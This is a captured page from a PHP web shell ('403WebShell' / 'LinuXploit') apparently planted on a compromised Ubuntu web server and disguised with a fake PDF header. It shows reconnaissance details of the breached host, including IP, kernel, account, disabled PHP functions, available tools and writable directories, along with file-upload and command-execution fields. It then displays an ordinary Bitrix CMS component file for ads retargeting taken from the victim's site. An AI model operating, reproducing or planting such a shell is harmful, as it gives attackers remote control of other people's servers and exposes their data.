%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.145.167.176
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/seo.ads.retargeting/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/seo.ads.retargeting//class.php
<?

use Bitrix\Main\Localization\Loc;
use Bitrix\Main\ErrorCollection;
use Bitrix\Main\Loader;
use Bitrix\Main\Error;
use Bitrix\Main\Engine\Contract\Controllerable;

use \Bitrix\Seo\Retargeting\AdsAudience;

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

Loc::loadMessages(__FILE__);

class SeoAdsRetargetingComponent extends CBitrixComponent implements Controllerable
{
	/** @var ErrorCollection $errors */
	protected $errors;

	protected function checkRequiredParams()
	{
		return $this->checkAccess();
	}

	protected function initParams()
	{
		$this->arParams['INPUT_NAME_PREFIX'] = isset($this->arParams['INPUT_NAME_PREFIX']) ? $this->arParams['INPUT_NAME_PREFIX'] : '';
		$this->arParams['HAS_ACCESS'] = isset($this->arParams['HAS_ACCESS']) ? (bool) $this->arParams['HAS_ACCESS'] : false;
		$this->arParams['AUDIENCE_LOOKALIKE_MODE'] = !!$this->arParams['AUDIENCE_LOOKALIKE_MODE'];

		return $this->arParams;
	}

	protected function listKeysSignedParameters()
	{
		return [
			'INPUT_NAME_PREFIX',
			'HAS_ACCESS',
		];
	}

	protected function prepareResult()
	{
		$this->arResult['ERRORS'] = array();

		return true;
	}

	protected function printErrors()
	{
		foreach ($this->errors as $error)
		{
			ShowError($error);
		}
	}

	public function executeComponent()
	{
		if (!$this->errors->isEmpty())
		{
			$this->printErrors();
			return;
		}

		if (!$this->prepareResult())
		{
			$this->printErrors();
			return;
		}

		$this->includeComponentTemplate();
	}

	public function onPrepareComponentParams($arParams)
	{
		$this->errors = new \Bitrix\Main\ErrorCollection();
		if (!Loader::includeModule('seo'))
		{
			$this->errors->setError(new Error('Module `seo` is not installed.'));
			return $arParams;
		}

		$this->arParams = $arParams;
		$this->initParams();
		if (!$this->checkRequiredParams())
		{
			$this->printErrors();
		}

		return $this->arParams;
	}

	protected function checkAccess()
	{
		if (!$this->arParams['HAS_ACCESS'])
		{
			$this->errors->setError(new Error('Access denied.'));
			return false;
		}

		return true;
	}

	protected function prepareAjaxAnswer(array $data)
	{
		$errorTexts = AdsAudience::getErrors();
		foreach ($errorTexts as $errorText)
		{
			$this->errors->setError(new Error($errorText));
		}

		/** @var Error $error */
		$error = $this->errors->current();

		return [
			'data' => $data,
			'error' => !$this->errors->isEmpty(),
			'text' => $error ? $error->getMessage() : ''
		];
	}

	public function configureActions()
	{
		return [];
	}

	public function getAccountsAction($type, $clientId = null)
	{
		$data = [];
		if ($this->checkAccess())
		{
			$service = AdsAudience::getService();
			$service->setClientId($clientId);
			$data = AdsAudience::getAccounts($type);
		}

		return $this->prepareAjaxAnswer($data);
	}

	public function getProviderAction($type, $clientId = null)
	{
		$data = [];
		if ($this->checkAccess())
		{
			$data = static::getAdsProvider($type, $clientId);
		}

		return $this->prepareAjaxAnswer($data);
	}

	public function logoutAction($type, $clientId = null, $logoutClientId = null)
	{
		$data = [];
		if ($this->checkAccess())
		{
			$service = AdsAudience::getService();
			$service->setClientId($logoutClientId);
			AdsAudience::removeAuth($type);

			$data = static::getAdsProvider($type, $clientId);
		}

		return $this->prepareAjaxAnswer($data);
	}

	public function getAudiencesAction($type, $clientId = null, $accountId = null)
	{
		$data = [];
		if ($this->checkAccess())
		{
			$service = AdsAudience::getService();
			$service->setClientId($clientId);
			$data = AdsAudience::getAudiences($type, $accountId);
		}

		return $this->prepareAjaxAnswer($data);
	}

	public function addAudienceAction($type, $name = null, $clientId = null, $accountId = null)
	{
		$data = [];
		if ($this->checkAccess())
		{
			$service = AdsAudience::getService();
			$service->setClientId($clientId);

			$audienceId = AdsAudience::addAudience($type, $accountId, $name);
			if ($audienceId)
			{
				$data['id'] = $audienceId;
			}
			else
			{
				$data['error'] = implode(', ', AdsAudience::getErrors());
			}
		}

		return $this->prepareAjaxAnswer($data);
	}

	public function getRegionsAction($type, $clientId = null)
	{
		$data = [];
		if ($this->checkAccess())
		{
			$service = AdsAudience::getService();
			$service->setClientId($clientId);
			$data = AdsAudience::getRegions($type);
			$langId = mb_strtolower(LANGUAGE_ID);
			$langId = ($langId == 'en' ? 'us' : $langId);
			array_walk($data, function (&$region) use ($langId)
			{
				$region['isDefault'] = (mb_strtolower($region['id']) == $langId);
			});
		}

		return $this->prepareAjaxAnswer($data);
	}

	protected static function getAdsProvider($adsType, $clientId = null)
	{
		$service = AdsAudience::getService();
		$service->setClientId($clientId);
		$providers = AdsAudience::getProviders([$adsType]);
		$isFound = false;
		$provider = array();
		foreach ($providers as $type => $provider)
		{
			if ($type == $adsType)
			{
				$isFound = true;
				break;
			}
		}

		if (!$isFound)
		{
			return null;
		}

		return $provider;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit